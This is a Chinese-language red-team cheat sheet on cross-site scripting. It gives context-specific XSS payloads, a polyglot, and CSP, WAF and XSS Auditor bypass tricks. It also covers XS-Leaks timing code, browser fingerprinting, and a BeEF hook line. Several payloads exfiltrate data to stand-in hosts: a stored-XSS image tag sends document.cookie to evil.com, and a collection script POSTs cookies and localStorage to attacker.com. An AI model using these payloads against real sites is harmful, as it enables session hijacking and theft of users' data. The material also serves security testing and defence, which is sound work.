目录


一、XSS(跨站脚本攻击)

三种类型

类型持久性触发时机影响范围
反射型 (Reflected)非持久用户点击恶意链接单个用户
存储型 (Stored)持久任何人访问页面所有用户
DOM型 (DOM-based)取决于存储JS执行时单个用户

反射型XSS

https://example.com/search?q=<script>alert(1)</script>
# 结果:页面回显搜索词时直接嵌入HTML

存储型XSS

# 攻击者在留言板提交
评论: <img src=x onerror="fetch('//evil.com?c='+document.cookie)">

# 任何访问留言板的用户都会触发XSS
# 危害最大——可传播XSS蠕虫

DOM型XSS

// 页面代码
var hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
 
// 攻击URL
https://example.com/page#<img src=x onerror=alert(1)>
// hash部分在浏览器端写入DOM,服务器收不到

二、XSS分类与payload库

通用payload(按场景分类)

HTML上下文:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>

属性上下文:

" onmouseover="alert(1)
' onfocus=alert(1) autofocus='
javascript:alert(1)

script标签内:

'; alert(1); //
"-alert(1)-"
</script><script>alert(1)</script>

URL上下文:

javascript:alert(1)
data:text/html,<script>alert(1)</script>

Polyglot XSS

同时匹配多种上下文的payload:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e

事件型payload速查

<!-- 无需用户交互 -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
 
<!-- CSS动画触发 -->
<style>@keyframes x{}</style><div style="animation-name:x" onanimationend=alert(1)>
 
<!-- 需要用户交互 -->
<select onchange=alert(1)>
<textarea oninput=alert(1)>
<a onmouseover=alert(1)>
<div onclick=alert(1)>

三、CSP绕过技术

CSP (Content-Security-Policy) 基础

Content-Security-Policy: 
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src *;

绕过方案速查

场景绕过方式
script-src 'self'JSONP端点、AngularJS沙箱、文件上传JS
script-src 'unsafe-inline'直接注入<script>或事件属性
script-src 'unsafe-eval'eval(), new Function(), setTimeout()
缺少 object-src<object data="data:text/html,...">
缺少 base-uri<base href="https://evil.com">劫持相对路径脚本
script-src 'nonce-...'DOM XSS可能绕过(nonce不保护动态内容)

JSONP绕过CSP

<!-- 如果script-src允许self但站点恰好有JSONP接口 -->
<script src="/api/user?callback=alert(1)"></script>
<!-- 返回:alert(1)({...}) → 执行alert(1)! -->

AngularJS沙箱绕过(已历史但值得了解)

{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

通过文件上传绕过

1. 上传 a.js 文件到目标的uploads目录
2. 注入 <script src="/uploads/a.js"></script>
3. script-src 'self' 不会阻止(uploads在同一域名下)

四、XSS Auditor绕过

XSS Auditor的绕过方式(Chrome已在v79移除,但Safari等仍使用):

# 利用HTML注释
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>

# 利用base标签劫持
<base href="https://evil.com/">

# URL编码
%3Cscript%3E

# JavaScript字符串上下文绕过Auditor
// Auditor不会检查JS字符串中的内容

五、WAF绕过技术

大小写混淆

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

空格替换

# HTML5允许 / 替代空格
<img/onerror=alert(1)>
<img/ src=x / onerror=alert(1)>

# 制表符、换行等
<img	src=x	onerror=alert(1)>  <!-- tab -->

编码绕过

# HTML实体
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# URL编码(在href/src等属性中)
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)">

# Base64 via data URI
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

# JS编码
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

关键字符串绕过

# 绕过 "alert" 过滤
prompt(1)
confirm(1)
window['alert'](1)
this['aler' + 't'](1)
top[/aler/.source+/t/.source](1)
[].constructor.constructor('alert(1)')()

# 绕过 "document.cookie" 过滤
document['cookie']
this['doc' + 'ument']['coo' + 'kie']

绕过长度限制

// 通过 import() 动态加载远程JS(短payload)
import('https://evil.com/e.js')  // 仅26字节
 
// 通过 eval(location.hash)
eval(location.hash.slice(1))  
// 完整攻击URL:target.com/page#alert(1)
 
// 通过 eval(name)
window.name = 'alert(document.cookie)';
// 跨window.name传递payload

六、XS-Leaks(跨站泄露)

XS-Leaks是利用Web平台特性从跨源资源中推断信息的一类攻击。

类型矩阵

攻击原理可泄露信息
XS-Searchfetch时序差异搜索结果内容
Frame计数window.length同源子窗口数量
性能APItransferSize资源大小
CSS历史嗅探:visited样式浏览历史
缓存探测图片加载时序已访问的URL
错误事件onerror/onload资源存在性

XS-Search攻击

// 推断用户是否搜索过特定关键词
// 如果结果页面出现特定内容,加载时间可能不同
 
async function searchOracle(query) {
  const start = performance.now();
  await fetch(`https://target.com/search?q=${query}`, {
    mode: 'no-cors'  // 不要求CORS,无法读取响应但可测时间
  });
  return performance.now() - start;
}
 
// 如果时间差异明显 → 推断搜索结果显示/为空

Frame Counting

// 通过 window.length 推断浏览器打开的标签页/窗口数
// 如果目标在iframe中加载:
console.log(frames.length);  // 可能暴露状态
 
// 进一步:通过iframe onload事件的时间差异

七、JavaScript探针与指纹

浏览器指纹

// Canvas指纹
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Browser Fingerprint Test', 2, 2);
const fingerprint = canvas.toDataURL();  // 每个设备略有不同
 
// WebGL指纹
const gl = canvas.getContext('webgl');
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
 
// AudioContext指纹
const audioCtx = new AudioContext();
const oscillator = audioCtx.createOscillator();
// ... 采集音频硬件差异

环境探测

// 检测DevTools是否打开
const threshold = 160;
setInterval(() => {
  const start = performance.now();
  debugger;
  if (performance.now() - start > threshold) {
    console.log('DevTools detected!');
  }
}, 500);
 
// 检测Selenium/Headless
if (navigator.webdriver) { console.log('Selenium detected!'); }
if (!navigator.plugins.length) { console.log('Possibly headless!'); }

信息收集payload

// 一键收集所有页面信息
const info = {
  url: location.href,
  cookie: document.cookie,
  localStorage: JSON.stringify(localStorage),
  userAgent: navigator.userAgent,
  screen: `${screen.width}x${screen.height}`,
  referrer: document.referrer,
  plugins: Array.from(navigator.plugins).map(p => p.name),
};
 
fetch('https://attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify(info),
});

八、红队视角总结

XSS攻击能力评估

能力级别描述
基础XSSalert(1) 验证漏洞存在
中级XSS窃取Cookie、劫持表单
高级XSSCSP绕过、WAF bypass、持久化植入
专家XSSXS-Leaks、Service Worker劫持、框架层利用

工具清单

工具用途
PortSwigger XSS Cheat SheetWAF/CSP绕过大全
XSStrike智能XSS扫描+payload
dalfoxGo语言XSS分析
Burp DOM InvaderDOM XSS自动检测
Hackvector (Burp插件)Payload自动编码
Beef (Browser Exploitation Framework)XSS后利用框架

BEEF简介

BeEF (Browser Exploitation Framework) 是XSS后利用的标准工具:

Hook注入:<script src="http://beef-server:3000/hook.js"></script>
被Hook后可以:
  - 获取浏览器指纹
  - 探测内网(Port Scanning)
  - 发起CSRF请求
  - 键盘记录
  - 浏览器历史嗅探
  - 社会工程学弹窗

返回 JavaScript 总目录 | 前端基础总目录